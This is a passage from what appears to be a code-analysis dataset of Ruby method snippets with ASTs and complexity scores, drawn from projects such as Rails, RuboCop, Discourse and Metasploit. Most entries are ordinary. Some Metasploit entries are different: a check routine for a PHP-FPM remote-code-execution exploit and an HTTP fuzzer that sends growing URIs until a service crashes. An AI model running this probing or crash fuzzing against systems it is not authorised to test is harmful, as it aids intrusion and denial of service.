end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_kdc_tgs_rep_enc_part\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"kwarg\",\"children\":[\"msg_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"decrypt_res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"enc_part\"]},\"decrypt_asn1\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"msg_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"EncKdcResponse\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"decrypt_res\"]}]}]}]}","id":"e22e728f-0061-4d55-9a16-00b5e4c302cf"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/mongoid/validator_mongoid.rb","start_line":47,"raw_source":"def change_name_on_sleep name\n    self.name = name\n    save!\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change_name_on_sleep\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"save!\"]}]}]}","id":"c4afc250-0863-4594-b0e5-001c47be315c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/php_fpm_rce.rb","start_line":346,"raw_source":"def check\n    print_status('Sending baseline query...')\n    res = send_crafted_request(path: \"/path\\ninfo.php\")\n    return CheckCode::Unknown('Error when sending baseline query') unless res\n\n    @base_status = res.code\n    vprint_status(\"Base status code is #{@base_status}\")\n\n    if datastore['QSLHint']\n      print_status(\"Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})\")\n      qsl_candidates = [datastore['QSLHint']]\n    else\n      print_status('Detecting QSL...')\n      qsl_candidates = detect_qsl\n    end\n    if qsl_candidates.empty?\n      return CheckCode::Detected('No qsl candidates found, not vulnerable or something went wrong')\n    end\n    if qsl_candidates.size > datastore['MaxQSLCandidates']\n      return CheckCode::Detected('Too many qsl candidates found, looks like I got banned')\n    end\n\n    print_good(\"The target is probably vulnerable. Possible QSLs: #{qsl_candidates}\")\n\n    qsl_candidates = extend_qsl_list(qsl_candidates)\n    vprint_status(\"Extended QSL list: #{qsl_candidates}\")\n\n    print_status('Doing sanity check...')\n    return CheckCode::Detected('Sanity check failed') unless sanity_check?\n\n    print_status('Detecting attack parameters...')\n    @params = detect_params(qsl_candidates)\n    return CheckCode::Detected('Unable to detect parameters') unless @params\n\n    print_good(\"Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}\")\n    print_good('Target is vulnerable!')\n    CheckCode::Vulnerable\n  ensure\n    disconnect(client) if client&.conn?\n  end","complexity_score":60.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending baseline query...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_crafted_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"/path\\ninfo.php\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Error when sending baseline query\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Base status code is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base_status\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"QSLHint\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping qsl detection, using hint (qsl=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"QSLHint\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"qsl_candidates\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"QSLHint\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Detecting QSL...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"qsl_candidates\",{\"type\":\"send\",\"children\":[null,\"detect_qsl\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qsl_candidates\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"No qsl candidates found, not vulnerable or something went wrong\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qsl_candidates\"]},\"size\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MaxQSLCandidates\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Too many qsl candidates found, looks like I got banned\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The target is probably vulnerable. Possible QSLs: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qsl_candidates\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"qsl_candidates\",{\"type\":\"send\",\"children\":[null,\"extend_qsl_list\",{\"type\":\"lvar\",\"children\":[\"qsl_candidates\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Extended QSL list: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qsl_candidates\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Doing sanity check...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sanity_check?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Sanity check failed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Detecting attack parameters...\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"send\",\"children\":[null,\"detect_params\",{\"type\":\"lvar\",\"children\":[\"qsl_candidates\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Unable to detect parameters\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parameters found: QSL=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"qsl\"]}]}]},{\"type\":\"str\",\"children\":[\", customh_length=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"customh_length\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Target is vulnerable!\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"conn?\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\",{\"type\":\"send\",\"children\":[null,\"client\"]}]},null]}]}]}","id":"ec381e68-473c-447b-98a5-3519a3cb6bda"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":529,"raw_source":"def additional_kwargs?\n            @def_node.arguments.any? { |a| a.type?(:kwarg, :kwoptarg) }\n          end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"additional_kwargs?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@def_node\"]},\"arguments\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"kwarg\"]},{\"type\":\"sym\",\"children\":[\"kwoptarg\"]}]}]}]}","id":"5df033dd-fccb-4266-91f1-f5db3c63740a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/check_box.rb","start_line":11,"raw_source":"def initialize(object_name, method_name, template_object, checked_value, unchecked_value, options)\n          @checked_value   = checked_value\n          @unchecked_value = unchecked_value\n          super(object_name, method_name, template_object, options)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object_name\"]},{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"arg\",\"children\":[\"template_object\"]},{\"type\":\"arg\",\"children\":[\"checked_value\"]},{\"type\":\"arg\",\"children\":[\"unchecked_value\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@checked_value\",{\"type\":\"lvar\",\"children\":[\"checked_value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@unchecked_value\",{\"type\":\"lvar\",\"children\":[\"unchecked_value\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_name\"]},{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"lvar\",\"children\":[\"template_object\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"b9b2dc49-c7e7-45a0-b563-eef13dd657aa"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/slack/slack_transcript.rb","start_line":75,"raw_source":"def first_message_number\n      @first_message_index < 0 ? @messages.length + @first_message_index : @first_message_index\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"first_message_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_message_index\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@messages\"]},\"length\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@first_message_index\"]}]},{\"type\":\"ivar\",\"children\":[\"@first_message_index\"]}]}]}","id":"a856aa0d-67e0-4b0a-a24c-9ae6996a9d4d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/helpers/flash_messages_helper_spec.rb","start_line":203,"raw_source":"def call\n            \"__RENDERED VALUES: #{param1} #{param2}__\".html_safe # rubocop:disable Rails/OutputSafety\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"__RENDERED VALUES: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"param1\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"param2\"]}]},{\"type\":\"str\",\"children\":[\"__\"]}]},\"html_safe\"]}]}","id":"619f373e-8356-4021-8be6-f742c8bfe45f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/authn/data_retention/oauth_access_token_archive_worker.rb","start_line":59,"raw_source":"def cutoff_date\n        CUTOFF_INTERVAL.ago.beginning_of_day\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cutoff_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CUTOFF_INTERVAL\"]},\"ago\"]},\"beginning_of_day\"]}]}","id":"e832f6de-f028-4d00-a4d7-d8a3e55d0d1d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":565,"raw_source":"def test_select_tag_with_prompt_and_include_blank\n    actual = select_tag \"places\", raw(\"<option>Home</option><option>Work</option><option>Pub</option>\"), prompt: \"string\", include_blank: true\n    expected = %(<select name=\"places\" id=\"places\"><option value=\"\">string</option><option value=\"\" label=\" \"></option><option>Home</option><option>Work</option><option>Pub</option></select>)\n    assert_dom_equal expected, actual\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_tag_with_prompt_and_include_blank\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"select_tag\",{\"type\":\"str\",\"children\":[\"places\"]},{\"type\":\"send\",\"children\":[null,\"raw\",{\"type\":\"str\",\"children\":[\"<option>Home</option><option>Work</option><option>Pub</option>\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"str\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_blank\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<select name=\\\"places\\\" id=\\\"places\\\"><option value=\\\"\\\">string</option><option value=\\\"\\\" label=\\\" \\\"></option><option>Home</option><option>Work</option><option>Pub</option></select>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"83e027a4-958e-4152-8b66-d532c1232ae0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/nested_file_dirname.rb","start_line":49,"raw_source":"def path_with_dir_level(node, level)\n          first_argument = node.first_argument\n\n          if file_dirname?(first_argument)\n            level += 1\n            path_with_dir_level(first_argument, level)\n          else\n            [first_argument.source, level]\n          end\n        end","complexity_score":9.05,"ast_json":"{\"type\":\"def\",\"children\":[\"path_with_dir_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_argument\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_dirname?\",{\"type\":\"lvar\",\"children\":[\"first_argument\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"level\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"path_with_dir_level\",{\"type\":\"lvar\",\"children\":[\"first_argument\"]},{\"type\":\"lvar\",\"children\":[\"level\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_argument\"]},\"source\"]},{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}]}]}","id":"9bd5db18-987c-489b-8c6b-56aa8f109de7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/http/http_get_uri_long.rb","start_line":45,"raw_source":"def run\n    last_str = nil\n    last_inp = nil\n    last_err = nil\n\n    pre = make_http_uri_base\n    cnt = 0\n\n    1.upto(datastore['MAXLENGTH'].to_i) do |len|\n      cnt += 1\n\n      str = fuzzer_gen_string(len)\n\n      # XXX: Encode the string or leave it raw? Best to make a new boolean option to enable/disable this\n      uri = pre + str\n\n      if (cnt % 100 == 0)\n        print_status(\"Fuzzing with iteration #{cnt} using string length #{len}\")\n      end\n\n      begin\n        do_http_get(uri, timeout: 0.25)\n      rescue ::Interrupt\n        print_status(\"Exiting on interrupt: iteration #{cnt} using string length #{len}\")\n        raise $ERROR_INFO\n      rescue StandardError => e\n        last_err = e\n      ensure\n        disconnect\n      end\n\n      if !@connected\n        if last_str\n          print_status(\"The service may have crashed: iteration:#{cnt - 1} len=#{len} uri=''#{last_str}'' error=#{last_err}\")\n        else\n          print_status(\"Could not connect to the service: #{last_err}\")\n        end\n        break\n      end\n\n      last_str = str\n      last_inp = @last_fuzzer_input\n    end\n  end","complexity_score":46.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_str\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"last_inp\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"last_err\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"pre\",{\"type\":\"send\",\"children\":[null,\"make_http_uri_base\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cnt\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MAXLENGTH\"]}]},\"to_i\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cnt\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[null,\"fuzzer_gen_string\",{\"type\":\"lvar\",\"children\":[\"len\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnt\"]},\"%\",{\"type\":\"int\",\"children\":[100]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fuzzing with iteration \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnt\"]}]},{\"type\":\"str\",\"children\":[\" using string length \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"do_http_get\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"float\",\"children\":[0.25]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exiting on interrupt: iteration \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnt\"]}]},{\"type\":\"str\",\"children\":[\" using string length \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"lvasgn\",\"children\":[\"last_err\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connected\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_str\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The service may have crashed: iteration:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnt\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" len=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]},{\"type\":\"str\",\"children\":[\" uri=''\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_str\"]}]},{\"type\":\"str\",\"children\":[\"'' error=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_err\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not connect to the service: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_err\"]}]}]}]}]},{\"type\":\"break\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"last_str\",{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_inp\",{\"type\":\"ivar\",\"children\":[\"@last_fuzzer_input\"]}]}]}]}]}]}","id":"047a5411-7ee3-4436-b050-1f20528b3f94"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/ci_mixin/long_term_averages.rb","start_line":13,"raw_source":"def generate_vim_performance_operating_range(time_profile)\n    return unless time_profile.default? # TODO: Support all TimeProfiles\n\n    vpor = vim_performance_operating_ranges\n           .create_with(:days => Metric::LongTermAverages::AVG_DAYS)\n           .find_or_create_by(:time_profile => time_profile)\n    vpor.recalculate_values\n    vpor.save!\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_vim_performance_operating_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time_profile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_profile\"]},\"default?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"vpor\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vim_performance_operating_ranges\"]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"days\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"LongTermAverages\"]},\"AVG_DAYS\"]}]}]}]},\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_profile\"]},{\"type\":\"lvar\",\"children\":[\"time_profile\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vpor\"]},\"recalculate_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vpor\"]},\"save!\"]}]}]}","id":"60762da0-693e-42b3-a658-b4cea0137be2"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/preferences/store.rb","start_line":95,"raw_source":"def should_persist?\n      @persistence && Spree::Preference.table_exists?\n    rescue *DB_EXCEPTIONS # this is fix to make Deploy To Heroku button work\n      false\n    end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"should_persist?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@persistence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Preference\"]},\"table_exists?\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_EXCEPTIONS\"]}]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"7088f280-5e48-4a8a-b453-00d4a74ade2f"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120816205538_add_starred_at_to_forum_thread_user.rb","start_line":4,"raw_source":"def up\n    add_column :forum_thread_users, :starred_at, :datetime\n    DB.exec \"update forum_thread_users f set starred_at = COALESCE(created_at, ?)\n    from\n      (\n        select f1.forum_thread_id, f1.user_id, t.created_at from forum_thread_users f1\n        left join forum_threads t on f1.forum_thread_id = t.id\n      ) x\n    where x.forum_thread_id = f.forum_thread_id and x.user_id = f.user_id\",\n            [DateTime.now]\n\n    # probably makes sense to move this out to forum_thread_actions\n    execute \"alter table forum_thread_users add constraint test_starred_at check(starred = false or starred_at is not null)\"\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"forum_thread_users\"]},{\"type\":\"sym\",\"children\":[\"starred_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"update forum_thread_users f set starred_at = COALESCE(created_at, ?)\\n\"]},{\"type\":\"str\",\"children\":[\"    from\\n\"]},{\"type\":\"str\",\"children\":[\"      (\\n\"]},{\"type\":\"str\",\"children\":[\"        select f1.forum_thread_id, f1.user_id, t.created_at from forum_thread_users f1\\n\"]},{\"type\":\"str\",\"children\":[\"        left join forum_threads t on f1.forum_thread_id = t.id\\n\"]},{\"type\":\"str\",\"children\":[\"      ) x\\n\"]},{\"type\":\"str\",\"children\":[\"    where x.forum_thread_id = f.forum_thread_id and x.user_id = f.user_id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"alter table forum_thread_users add constraint test_starred_at check(starred = false or starred_at is not null)\"]}]}]}]}","id":"c7418fb5-43f2-4a14-8c1c-818cfa6bb3f9"}
